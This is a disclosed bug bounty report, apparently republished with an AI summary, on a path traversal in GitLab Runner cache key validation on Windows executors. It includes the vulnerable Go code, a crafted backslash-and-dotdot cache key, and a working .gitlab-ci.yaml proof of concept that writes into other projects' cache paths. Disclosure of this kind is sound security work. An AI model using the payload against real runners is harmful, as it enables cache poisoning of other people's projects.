Potential CI/CD cache [poisoning/uploading] to other project if using window shell/window docker image executor
The GitLab Runner cache path validation used path.Join with forward slashes but filepath.Rel with the OS separator, so on Windows a crafted cache key could escape the project's cache directory. An attacker could upload cache files to arbitrary paths in the shared bucket, potentially poisoning other projects' caches.
GitLab
Originally disclosed on GitLab
- Fixed in 2.1 years
- Disclosed after 2.1 years
HackerOne report #769249 by ledz1996 on 2020-01-07, assigned to @jeremymatos:
Summary
When joining the path, path.Join(). Now path.Join() only take seperator as "/". This could be a problem if we are running gitlab-runner in Window shell/ Window docker image.
Thus, this would allow the escape of current path to other project_id path.
Because filepath.Rel() will always take the filePath.Seperator as path seperator.
Take this segment of code of gitlab-runner/cache/cache.go
func generateObjectName(build *common.Build, config *common.CacheConfig, key string) (string, error) {
if key == "" {
return "", nil
}
basePath := generateBaseObjectName(build, config)
path := path.Join(basePath, key)
relative, err := filepath.Rel(basePath, path)
if err != nil {
return "", fmt.Errorf("cache path correctness check failed with: %v", err)
}
if strings.HasPrefix(relative, ".."+string(filepath.Separator)) {
return "", fmt.Errorf("computed cache path outside of project bucket. Please remove `../` from cache key")
}
return path, nil
}
Let take the result of basePath is nicepath/hehe/project
For example, if your project_id is 19000000 -> your scope to pass the condition of HasPrefix is that the object you put must be in nicepath/hehe/project/19000000
in Linux, filePath.Seperator is the same as path.Seperator
So the following sequence:
/../\\19000000\\../../19000000\\/../otherproject/Keycache\\..\\..\\19000000
double \ for escaping
if run thru the function generateObjectName
the Prefix will be
my_project_scope: nicepath/hehe/project/19000000
path: nicepath/hehe/project/otherproject/Keycache\..\..\19000000
relative: ../otherproject/Keycache\..\..\19000000
This will not pass the hasPrefix condition and it will not return an URL to upload to shared cache.
But in Window it will be different
my_project_scope: nicepath/hehe/project/19000000
path: nicepath/hehe/project/otherproject/Keycache\..\..\19000000
relative: .
This will pass the hasPrefix condition and it will return an URL to upload to shared cache.
Using the technique of add trailling \..\ and [your-project-id] I could upload any file to any path but with one limitation, It will have the annoying trailing things.
Right now, because of my report #767586,
You could remove the trailling [your-project-id]
Meaning the following sequence /../\\19000000\\../../19000000\\/../otherproject/Keycache\\..\\.. will work and the following output of my test:
my_project_scope: nicepath/hehe/project/19000000
path: nicepath/hehe/project/Keycache\..\..
relative: ..
Since the condition for hasPrefix is .. + string(filepath.Separator)
Steps to reproduce
- Use a gitlab-runner with WIndow server docker image OR Window shell executor.
- Configure your gitlab project to work with your gitlab-runner instance
- Configure a Google Cloud Storage for uploading Shared Cache. In my PoC, I use mine GCS for this PoC, here is my
config.toml
concurrent = 1
check_interval = 0
[session_server]
session_timeout = 1800
[[runners]]
name = "PC-01"
url = "https://gitlab.com"
token = "[Redacted]"
executor = "shell"
shell = "powershell"
[runners.cache]
Type = "gcs"
Path = "nicepath/hehe"
Shared = true
[runners.cache.s3]
[runners.cache.gcs]
CredentialsFile = ".\\test.json"
BucketName = "REDACTED.appspot.com"
- Use the following
.gitlab-ci.yamland replace [your-project-id] with the project id of your repository
job:
variables:
CI_DEBUG_TRACE: "true"
KEY: "/../\\[your-project-id]\\../../[your-project-id]\\/../otherproject/Keycache\\..\\..\\[your-project-id]"
script:
- mkdir tes
- echo "123445k" > "tes/d"
- cd tes
cache:
key: "${KEY}"
policy: push
paths:
- tes
- Run the CI/CD pipeline and check the job console log to see if your cache is uploaded to the intended path.
- Check the Bucket in Google Cloud to confirm
Examples
This happen on Gitlab.com with my own GCS and Gitlab-runner.
My .gitlab-ci.yaml used for this PoC:
https://gitlab.com/ledz1996h2/d-/blob/356ab89db46513bc8a5d59630ac8a22dd3d0752a/.gitlab-ci.yml
My Pipeline-log:
https://gitlab.com/ledz1996h2/d-/-/jobs/395473824
My Object in my GCS:
Without trailling [your-project-id]:
gitlab-poc-2-3.PNG
gitlab-poc-2-4.PNG
If Gitlab intended to add support for Window docker support for Shared Runner (I believe you are updating ;) ), this could happen without my own GCS and gitlab-runner
Impact
CI/CD Cache uploading to any path, Potential CI/CD Cache poisoning
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a mismatch between path.Join (which uses '/') and filepath.Rel (which uses the OS separator) when validating the cache key on Windows.
Impact
CI/CD cache could be uploaded to any path, potentially allowing cache poisoning of other projects, though this requires a Windows executor and a shared cache bucket.
What the attacker needed
Windows shell or Windows docker executor; Shared cache configured (e.g., GCS); Ability to set cache key in CI config
How it was found
- Use a gitlab-runner with Windows server docker image or Windows shell executor.
- Configure your gitlab project to work with your gitlab-runner instance.
- Configure a Google Cloud Storage for uploading Shared Cache.
- Use a .gitlab-ci.yaml with a crafted cache key containing backslashes and '..'.
- Run the CI/CD pipeline and check the job console log.
- Check the Bucket in Google Cloud to confirm the upload path.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GitLab Runner stores build caches in a shared cloud bucket, using a folder per project. The code checked that the cache key stayed inside the project folder, but on Windows the check used a different separator than the path builder, so a key with backslashes and '..' could slip outside. This let a user write files into other projects' cache areas.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.